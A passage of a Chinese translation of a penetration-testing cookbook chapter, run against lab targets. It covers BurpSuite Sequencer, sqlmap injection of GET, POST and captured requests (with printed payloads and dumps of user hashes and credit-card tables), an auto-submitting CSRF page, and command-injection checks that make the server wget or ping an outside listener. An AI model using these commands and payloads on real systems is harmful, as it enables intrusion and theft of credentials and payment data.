第七章 Web 應(yīng)用掃描(三)
作者:Justin Hutchens
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
7.13 使用 BurpSuite Sequencer(序列器)
Web 應(yīng)用會話通常由會話 ID 標(biāo)識來維護(hù),它由隨機(jī)或偽隨機(jī)值組成。出于這個原因,隨機(jī)性通常是這些應(yīng)用的安全的關(guān)鍵。這個秘籍中,我們會討論如何使用 BurpSuite Sequencer 來收集生成的值,并測試它們的隨機(jī)性。
準(zhǔn)備
為了使用 BurpSuite 對目標(biāo)執(zhí)行 Web 應(yīng)用分析,你需要擁有運行一個或多個 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
此外,你的 Web 瀏覽器需要配置來通過 BurpSuite 本地實例代理 Web 流量。關(guān)于將 BurpSuite 用作瀏覽器代理的更多信息,請參考第一章的“配置 BurpSuite”一節(jié)。
操作步驟
為了使用 BurpSuite Sequencer,響應(yīng)必須包含Set-Cookie
協(xié)議頭,或者其它偽隨機(jī)數(shù)的值,測試需要它們來發(fā)送。這可以通過HTTP 代理歷史或者先于瀏覽器的響應(yīng)攔截來完成,像這樣:
Burp 會自動使用響應(yīng)中的所有 Cookie 值填充 Cookie 下拉菜單。作為替代,你可以使用Custom location
字段,之后點擊Configure
按鈕來指定響應(yīng)中的任何位置用于測試,像這樣:
在確定需要測試的值之后,點擊Start live capture
按鈕,這會開始提交大量請求來獲得參數(shù)的附加值。這個例子中,Burp 會提交大量請求,并將 PHPSESSID 從請求中去除。這會導(dǎo)致服務(wù)器為每個請求生成新的會話標(biāo)識。這樣一來,我們就可以獲得樣本值,它們可以用于完成 FIPS 測試。FIPS 測試由一系列測試組成,它們會評估所生成的偽隨機(jī)數(shù)的熵。所有這些測試會以圖形格式展示,使其十分易懂,像這樣:
對于高準(zhǔn)確率和徹底的 FIPS 測試來說,總共需要 20000 個值。但是分析最少可以以 100 個值來執(zhí)行。除了執(zhí)行實時捕獲之外,Manual load
標(biāo)簽頁可以用于為測試上傳或粘貼值的列表。
工作原理
BurpSuite Sequencer 對偽隨機(jī)數(shù)樣本執(zhí)行大量不同的數(shù)學(xué)評估,根據(jù)所生成隨機(jī)數(shù)的熵嘗試判斷其質(zhì)量。實時捕獲可用于生成樣本值,它通過提交事先構(gòu)造的請求,并導(dǎo)致服務(wù)器指派新的值。這通常通過從請求中移除現(xiàn)有Cookie
值,從而使響應(yīng)以新的Set-Cookie
協(xié)議頭的形式,提供新的會話標(biāo)識來完成。
7.14 使用 sqlmap 注入 GET 方法
Web 應(yīng)用常常接受所提供 URL 內(nèi)的參數(shù)。這些參數(shù)通常以 HTTP GET 方法傳給服務(wù)器。如果任何這些參數(shù)隨后包含在發(fā)給后端數(shù)據(jù)庫的查詢語句中,SQL 注入漏洞就可能存在。我們會討論如何使用 sqlmap 來自動化 HTTP GET 方法請求參數(shù)的測試。
準(zhǔn)備
為了使用 sqlmap 對目標(biāo)執(zhí)行 Web 應(yīng)用分析,你需要擁有運行一個或多個 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
操作步驟
為了使用 sqlmap 來測試 HTTP GET 方法參數(shù),你需要使用-u
參數(shù)以及要測試的 URL。這個 URL 應(yīng)該包含任何 GET 方法參數(shù)。此外,如果 Web 內(nèi)容僅僅通過建立的會話來方法,還需要使用--cookie
提供與會話對應(yīng)的 Cookie。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5
** {CUT} **
sqlmap identified the following injection points with a total of 279 HTTP(s) requests:
--
Place: GET
Parameter: id
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-2345' OR (1644=1644) AND 'moHu'='moHu&Submit=y
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=x' AND (SELECT 1537 FROM(SELECT COUNT(*),CONCAT(0x3a6b6f 683a,(SELECT (CASE WHEN (1537=1537) THEN 1 ELSE 0 END)),0x3a696a793a,FLO OR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VHVT'='VHVT&Submit=y
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=x' UNION ALL SELECT CONCAT(0x3a6b6f683a,0x7979634f4e716b7 55961,0x3a696a793a),NULL#&Submit=y
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: id=x' AND 5276=BENCHMARK(5000000,MD5(0x704b5772)) AND 'XiQP'='XiQP&Submit=y
--
** {TRUNCATED} **
上面的例子使用了risk
值3
和level
值5
。這些值定義了所執(zhí)行測試的風(fēng)險性和徹底性。更多risk
和level
的信息請參考 sqlmap 手冊頁和幫助文件。執(zhí)行測試時,sqlmap 會快速將后端數(shù)據(jù)庫識別為 MySQL,并跳過其它測試。如果沒有指定任何操作,sqlmap 會僅僅判斷是否任何參數(shù)存在漏洞,像上個例子那樣。在一系列注入嘗試之后,sqlmap 判斷出ID
參數(shù)存在多種類型的 SQL 注入漏洞。在確認(rèn)漏洞之后,sqlmap 會執(zhí)行操作來提取后端數(shù)據(jù)庫的信息。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --dbs
** {CUT} **
--
[03:38:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL 5.0
[03:38:00] [INFO] fetching database names
[03:38:00] [WARNING] reflective value(s) found and filtering out
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
** {TRUNCATED} **
在上面的例子中,--dbs
參數(shù)用于枚舉所有可用的,能通過 SQL 注入訪問的數(shù)據(jù)庫。通過名稱來判斷,它表明列出的數(shù)據(jù)庫直接對應(yīng) DVWA 的應(yīng)用。我們之后可以直接對數(shù)據(jù)庫執(zhí)行操作。為了提取 DWVA 數(shù)據(jù)庫的所有表的名稱,我們可以使用--tables
參數(shù)來讓 sqlmap 提取表名稱,之后使用-D
參數(shù)指定需要提取的數(shù)據(jù)庫(dvwa
)。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --tables -D dvwa
** {CUT} **
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
** {TRUNCATED} **
這樣做,我們可以看到 DVWA 數(shù)據(jù)庫中有兩個表。這些表包括guestbook
和users
。用戶表通常值得提取,因為它通常包含用戶名和相關(guān)的密碼哈希。為了從某個指定表中提取信息,我們可以使用--dump
參數(shù),之后使用-D
參數(shù)來指定數(shù)據(jù)庫,-T
參數(shù)來指定提取哪個表的內(nèi)容。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --dump -D dvwa -T users
** {CUT} **
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[03:44:03] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file './txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[03:44:08] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
** {CUT} **
Database: dvwa
Table: users
[5 entries]
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+
| user_id | user | avatar | password | last_name | first_name |
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+
| 1 | admin | http://192.168.223.132/dvwa/hackable/users/admin. jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin |
| 2 | gordonb | http://192.168.223.132/dvwa/hackable/users/gordonb. jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon |
| 3 | 1337 | http://192.168.223.132/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack |
| 4 | pablo | http://192.168.223.132/dvwa/hackable/users/pablo. jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo |
| 5 | smithy | http://192.168.223.132/dvwa/hackable/users/smithy. jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob |
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+
** {TRUNCATED} **
在識別表的內(nèi)容中存在密碼哈希之后,sqlmap 會提供選項,詢問用戶是否使用內(nèi)置的密碼破解器來對枚舉密碼哈希執(zhí)行字典攻擊。這可以使用內(nèi)置單詞列表,自定義單詞列表,或者一系列單詞列表來執(zhí)行。在執(zhí)行字典攻擊之后,我們可以看到表的內(nèi)容包含用戶 ID,用戶頭像的位置,MD5 哈希,哈希的純文本附加值(鹽),以及用戶姓名。
工作原理
sqlmap 的原理是提交來自大量已知 SQL 注入查詢列表的請求。它在近幾年間已經(jīng)高度優(yōu)化,并給予之前查詢的響應(yīng)來智能調(diào)整注入。在 HTTP GET 參數(shù)上執(zhí)行 SQL 注入非常繁瑣,因為修改內(nèi)容要經(jīng)過請求 URL 。
7.15 使用 sqlmap 注入 POST 方法
sqlmap 是 Kali 中的集成命令行工具,它通過自動化整個流程,極大降低了手動利用 SQL 注入漏洞所需的經(jīng)歷總量。這個秘籍中,我們會討論如何使用 sqlmap 來自動化 HTTP POST 請求參數(shù)的測試。
準(zhǔn)備
為了使用 sqlmap 對目標(biāo)執(zhí)行 Web 應(yīng)用分析,你需要擁有運行一個或多個 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
為了在使用 HTTP POST 方法的服務(wù)上指定 SQL 注入,我們需要使用--data
參數(shù)來指定 POST 參數(shù)字符串。Mutillidae 的登錄應(yīng)用提供了一個登錄頁面,它通過 POST 方法傳遞用戶名和密碼。它就是我們的 SQL 注入攻擊目標(biāo)。看看下面的例子:
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --level=5 --risk=3
** {CUT} **
sqlmap identified the following injection points with a total of 267 HTTP(s) requests:
--
Place: POST
Parameter: username
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: username=-8082' OR (4556=4556)#&password=pass&login-phpsubmit-button=Login
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=user' AND (SELECT 3261 FROM(SELECT COUNT(*),CONCAT( 0x3a61746d3a,(SELECT (CASE WHEN (3261=3261) THEN 1 ELSE 0 END)),0x3a76676 23a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x) a) AND 'MraR'='MraR&password=pass&login-php-submit-button=Login
--
[04:14:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL 5.0
** {TRUNCATED} **
如果沒有指定操作,sqlmap 僅僅會判斷是否任何參數(shù)存在漏洞,像上面的例子那樣。在一系列注入嘗試之后,sqlmap 判斷出用戶名 POST 參數(shù)存在boolean-blind
和error-based
漏洞。在確認(rèn)漏洞之后,sqlmap 會執(zhí)行操作,開始從后端數(shù)據(jù)庫提取信息。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --dbs
** {CUT} **
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
** {TRUNCATED} **
在上面的例子中,--dbs
參數(shù)用于枚舉所有可用的,可通過 SQL 注入訪問的數(shù)據(jù)庫。我們隨后可以對特定數(shù)據(jù)庫直接執(zhí)行操作。為了提取owasp10
數(shù)據(jù)庫中的所有表的名稱,我們可以使用--tables
參數(shù)讓 sqlmap 提取表名稱。之后使用-D
參數(shù)來指定從哪個數(shù)據(jù)庫(owasp10
)提取名稱。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --tables -D owasp10
** {CUT} **
Database: owasp10
[6 tables]
+----------------+
| accounts |
| blogs_table |
| captured_data |
| credit_cards |
| hitlog |
| pen_test_tools |
+----------------+
** {TRUNCATED} **
這樣做,我們就可以看到,owasp10
數(shù)據(jù)庫中存在六個表。這些表包含accounts, blog_table, captured_data, credit_cards, hitlog, and pen_test_tools
。最明顯的表名稱是credit_cards
。為了提取某個指定表的內(nèi)容,我們可以使用--dump
參數(shù),之后使用-D
參數(shù)來指定數(shù)據(jù)庫,-T
參數(shù)來指定從哪個表中提取內(nèi)容。
root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --dump -D owasp10 -T credit_cards
** {CUT} **
Database: owasp10
Table: credit_cards
[5 entries]
+------+-----+------------------+------------+
| ccid | ccv | ccnumber | expiration | +------+-----+------------------+------------+
| 1 | 745 | 4444111122223333 | 2012-03-01 |
| 2 | 722 | 7746536337776330 | 2015-04-01 |
| 3 | 461 | 8242325748474749 | 2016-03-01 |
| 4 | 230 | 7725653200487633 | 2017-06-01 |
| 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+------------------+------------+
** {TRUNCATED} **
工作原理
sqlmap 的原理是提交來自大量已知 SQL 注入查詢列表的請求。它在近幾年間已經(jīng)高度優(yōu)化,并給予之前查詢的響應(yīng)來智能調(diào)整注入。在 HTTP POST 參數(shù)上執(zhí)行 SQL 注入的原理是操作添加到 POST 方法請求末尾的數(shù)據(jù)。
7.16 使用 sqlmap 注入捕獲的請求
為了簡化 sqlmap 的使用流程,可以使用來自 BurpSuite 的捕獲請求并使用定義在其中的所有參數(shù)和配置來執(zhí)行 sqlmap。在這個秘籍中,我們會討論如何使用 sqlmap 來測試和所捕獲請求相關(guān)的參數(shù)。
準(zhǔn)備
為了使用 sqlmap 對目標(biāo)執(zhí)行 Web 應(yīng)用分析,你需要擁有運行一個或多個 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
操作步驟
為了在 sqlmap 中使用捕獲的請求,必須首先將其保存為文本格式。為了這樣做,右擊 BurpSuite 中的請求內(nèi)容之后選擇Copy to file
。保存之后,你就可以通過瀏覽器目錄并使用cat
命令來驗證文件內(nèi)容。
root@KaliLinux:~# cat dvwa_capture
GET /dvwa/vulnerabilities/sqli_blind/?id=test_here&Submit=Submit HTTP/1.1
Host: 172.16.36.135
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.36.135/dvwa/vulnerabilities/sqli_blind/
Cookie: security=low; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7b0c
Connection: keep-alive
為了使用捕獲的請求,以 -r
參數(shù)執(zhí)行 sqlmap,值為文件的絕對路徑。這個方式通常會極大降低在sqlmap
命令中需要提供的信息量,因為需要提供的多數(shù)信息都包含在文件里了。看看下面的例子:
oot@KaliLinux:~# sqlmap -r /root/dvwa_capture --level=5 --risk=3 -p id
[*] starting at 16:44:09
[16:44:09] [INFO] parsing HTTP request from '/root/dvwa_capture'
在上面的例子中,不需要向 sqlmap 傳遞任何 Cookie 值,因為 Cookie 值已經(jīng)定義在捕獲的請求中了。當(dāng) sqlmap 運行時,捕獲文件中的 Cookie 會自動在所有請求中使用,像這樣:
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 487 HTTP(s) requests:
--
Place: GET
Parameter: id
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-8210' OR (7740=7740) AND 'ZUCk'='ZUCk&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=test_here' UNION ALL SELECT NULL,CONCAT(0x3a6f63723a,0x67 744e67787a6157674e,0x3a756c753a)#&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: id=test_here' AND 4329=BENCHMARK(5000000,MD5(0x486a7a4a)) AND 'ARpD'='ARpD&Submit=Submit
sqlmap 能夠測試捕獲請求中的所有識別的 GET 方法參數(shù)。這里,我們可以看到,ID
參數(shù)存在多個 SQL 注入漏洞。
工作原理
sqlmap 能夠接受捕獲的請求,來解析請求的內(nèi)容并是被任何可測試的參數(shù)。這讓 sqlmap 能夠高效執(zhí)行,而不需要花費額外的經(jīng)歷來傳遞攻擊所需的所有參數(shù)。
7.17 自動化 CSRF 測試
跨站請求偽造(CSRF)是最難以理解的 Web 應(yīng)用漏洞之一。無論如何,不能夠識別這類漏洞會危害 Web 應(yīng)用和它的用戶。這個秘籍中,我們會討論如何測試 GET 和 POST 方法中的 CSRF 漏洞。
準(zhǔn)備
為了對目標(biāo)執(zhí)行 CSRF 測試,你需要擁有運行一個或多個含有 CSRF 漏洞的 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
操作步驟
CSRF 可能會出現(xiàn)在 GET 或 POST 方法的事務(wù)中,DVWA 提供了 GET 方法 CSRF 漏洞的一個良好示例。應(yīng)用允許用戶通過 GET 方法提交新的值兩次來更新密碼。
GET /dvwa/vulnerabilities/csrf/?password_new=password&password_ conf=password&Change=Change HTTP/1.1
Host: 172.16.36.135 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.36.135/dvwa/vulnerabilities/csrf/
Cookie: security=low; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7b0c
由于缺少 CSRF 控制,我們嘗試?yán)眠@個漏洞。如果 Web 應(yīng)用的用戶被引誘來訪問某個 URL,其中含有預(yù)先配置的password_ new
和password_ conf
值,攻擊者就能強迫受害者將密碼修改為攻擊者的選擇。下面的 URL 是個利用的示例。如果受害者訪問了這個鏈接,它們的密碼會被修改為compromised
。
http://172.16.36.135/dvwa/vulnerabilities/csrf/?password_ new=compromised&password_conf=compromised&Change=Change#
但是,這種可以簡單利用的 CSRF 漏洞很少存在。這是因為多數(shù)開發(fā)者對安全擁有起碼的終止,不會使用 GET 方法參數(shù)來執(zhí)行安全事務(wù)。POST 方法 CSRF 的一個例子是 Mutillidae 應(yīng)用的 blog
功能,像這樣:
POST /mutillidae/index.php?page=add-to-your-blog.php HTTP/1.1
Host: 172.16.36.135
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.36.135/mutillidae/index.php?page=add-to-your-blog. php
Cookie: username=Victim; uid=17; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7 b0c
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
csrf-token=SecurityIsDisabled&blog_entry=This+is+my+blog+entry&add-toyour-blog-php-submit-button=Save+Blog+Entry
上面的例子中,我們可以看到,驗證用戶所提交的blog
入口通過blog_entry
POST 方法參數(shù)傳遞。為了利用這個 CSRF 控制的缺失,攻擊者需要構(gòu)造惡意頁面,它能導(dǎo)致受害者提交所需的參數(shù)。下面是個 POST 方法 CSRF 攻擊的例子:
<html>
<head>
<title></title>
</head>
<body>
<form name="csrf" method="post" action="http://172.16.36.135/ mutillidae/index.php?page=add-t$
<input type="hidden" name="csrf-token" value="SecurityIsDisabled" />
<input type="hidden" name="blog_entry" value="HACKED" />
<input type="hidden" name="add-to-your-blog-phpsubmit-button" value="Save+Blog+Entr$
</form>
<script type="text/javascript">
document.csrf.submit();
</script> </body> </html>
這個惡意 Web 頁面使用了 HTML 表單,它將多個隱藏的輸入字段返回給服務(wù)器,這些字段對應(yīng) Mutillidae 應(yīng)用的blog
入口提交請求所需的相同輸入。此外,JS 用于提交表單。所有這些事情在受害者不執(zhí)行任何操作的情況下就會發(fā)生。考慮下面的例子:
root@KaliLinux:~# mv CSRF.html /var/www/
root@KaliLinux:~# /etc/init.d/apache2 start
[....] Starting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
. ok
為了部署這個惡意 Web 內(nèi)容,應(yīng)該將其移動到 Web 根目錄下。在 Kali 中,默認(rèn)的 Apache Web 根目錄是/var/www/
。同樣,確保 Apache2 服務(wù)已打開。像這樣:
當(dāng)驗證后的受害者瀏覽器惡意頁面時,受害者會自動重定向到 Mutillidae 博客應(yīng)用,并提交博客入口HACKED
。
工作原理
CSRF 的成因是請求最終由用戶的會話生成。這個攻擊利用受害者瀏覽器已經(jīng)和遠(yuǎn)程 Web 服務(wù)器建立連接的信任。在 GET 方法 CSRF 的例子中,受害者被誘導(dǎo)訪問某個 URL,其中的參數(shù)為惡意事務(wù)而定義。在 POST 方法 CSRF 的例子中,受害者被誘導(dǎo)瀏覽定義了參數(shù)的頁面,這些參數(shù)隨后會由受害者的瀏覽器轉(zhuǎn)發(fā)給漏洞服務(wù)器,來指定惡意事務(wù)。在每個例子中,事務(wù)由于請求來自受害者的瀏覽器而被執(zhí)行,受害者已經(jīng)和漏洞服務(wù)器建立了可信的會話。
7.18 使用 HTTP 流量驗證命令注入漏洞
命令注入可能是移植 Web 應(yīng)用攻擊向量中最危險的漏洞了。多數(shù)攻擊者嘗試?yán)迷撀┒矗云谕鼈冏詈竽軌蛟诘讓?OS 上執(zhí)行任意的代碼。命令執(zhí)行漏洞提供了無需額外步驟的可能。這個秘籍中,我們會討論如何使用 Web 服務(wù)器日志或自定義 Web 服務(wù)腳本來確認(rèn)命令執(zhí)行漏洞。
準(zhǔn)備
為了對目標(biāo)執(zhí)行命令注入漏洞測試,你需要擁有運行一個或多個含有命令執(zhí)行漏洞的 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
此外,這個秘籍也需要使用例如 VIM 或者 Nano 的文本編輯器,將腳本寫到文件系統(tǒng)。更多編寫腳本的信息請參考第一章的“使用文本編輯器(VIM 或 Nano)”秘籍。
操作步驟
通過執(zhí)行命令,強迫后端系統(tǒng)和 Web 服務(wù)器交互,我們就能夠驗證 Web 應(yīng)用中的命令注入漏洞。日志可以作為漏洞服務(wù)器和它交互的證據(jù)。作為替代,可以編寫一個自定義腳本來生成一個臨時的 Web 服務(wù),它可以監(jiān)聽外部連接,并打印接收到的請求。下面的 Python 代碼完成了這件事情:
#!/usr/bin/python
import socket
httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
httprecv.bind(("0.0.0.0",8000))
httprecv.listen(2)
(client, ( ip,sock)) = httprecv.accept()
print "Received connection from : ", ip
data = client.recv(4096)
print str(data)
client.close()
httprecv.close()
一旦執(zhí)行腳本,我們需要強迫目標(biāo)服務(wù)器和監(jiān)聽服務(wù)交互,來確認(rèn)命令注入漏洞。DWVA 應(yīng)用擁有ping
功能,可以用于 ping 一個指定 IP 地址。用戶輸入直接傳遞給系統(tǒng)調(diào)用,可以修改來執(zhí)行底層 OS 的任意命令、我們可以通過使用分號來添加多個命令,每個命令依次排列,像這樣:
在上面的例子中,輸入用于 ping 127.0.0.1
,并且對http://172.16.36.224:8000
執(zhí)行wget
。wget
請求對應(yīng)臨時的 Python 監(jiān)聽服務(wù)。在提交輸入后,我們可以通過參考腳本的輸入來驗證命令執(zhí)行:
root@KaliLinux:~# ./httprecv.py
Received connection from : 172.16.36.135
GET / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */* Host: 172.16.36.224:8000
Connection: Keep-Alive
工作原理
Python 腳本用于確認(rèn)命令執(zhí)行漏洞,因為它證明了命令可以通過來自不同系統(tǒng)的注入載荷在目標(biāo)服務(wù)器上執(zhí)行。載荷輸入到服務(wù)器的時候,不可能同時執(zhí)行相似的請求。但是,即使載荷并不是被檢測到的流量的真正來源,我們也可以輕易嘗試多次來排除錯誤情況。
7.19 使用 ICMP 流量 來驗證命令注入
命令注入可能是移植 Web 應(yīng)用攻擊向量中最危險的漏洞了。多數(shù)攻擊者嘗試?yán)迷撀┒矗云谕鼈冏詈竽軌蛟诘讓?OS 上執(zhí)行任意的代碼。命令執(zhí)行漏洞提供了無需額外步驟的可能。這個秘籍中,我們會討論如何使用 ICMP 流量來編寫用于確認(rèn)命令執(zhí)行漏洞的自定義腳本。
準(zhǔn)備
為了對目標(biāo)執(zhí)行命令注入漏洞測試,你需要擁有運行一個或多個含有命令執(zhí)行漏洞的 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
此外,這個秘籍也需要使用例如 VIM 或者 Nano 的文本編輯器,將腳本寫到文件系統(tǒng)。更多編寫腳本的信息請參考第一章的“使用文本編輯器(VIM 或 Nano)”秘籍。
操作步驟
通過執(zhí)行命令,強迫后端系統(tǒng)發(fā)送 ICMP 流量給監(jiān)聽服務(wù),我們可以驗證 Web 應(yīng)用中的命令注入漏洞。接收到的 ICMP 回響請求可以用于識別漏洞系統(tǒng)。下面是一段 Python 代碼,使用 Scapy 庫來實現(xiàn):
#!/usr/bin/python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
def rules(pkt):
try:
if (pkt[IP].dst=="172.16.36.224") and (pkt[ICMP]):
print str(pkt[IP].src) + " is exploitable"
except:
pass
print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening"
sniff(lfilter=rules,store=0)
在 ICMP 監(jiān)聽器執(zhí)行之后,我們需要嘗試從漏洞服務(wù)器向監(jiān)聽服務(wù)發(fā)送 ICMP 回響請求。這可以通過將ping
命令注入到存在命令注入漏洞的用戶輸入來完成。在 Mutillidae 中,執(zhí)行 DNS 枚舉的功能存在漏洞,它直接將用戶輸入傳遞給系統(tǒng)調(diào)用。通過使用分號,單獨的ping
請求可以追加到用戶輸入后面。
假設(shè)服務(wù)器存在命令注入漏洞,Python 監(jiān)聽器會提示收到了 ICMP 回響請求,而且目標(biāo)服務(wù)器可能存在漏洞。
root@KaliLinux:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening
172.16.36.135 is exploitable
工作原理
Python 腳本用于確認(rèn)命令執(zhí)行漏洞,因為它證明了命令可以通過來自不同系統(tǒng)的注入載荷在目標(biāo)服務(wù)器上執(zhí)行。載荷輸入到服務(wù)器的時候,不可能同時執(zhí)行相似的請求。但是,即使載荷并不是被檢測到的流量的真正來源,我們也可以輕易嘗試多次來排除錯誤情況。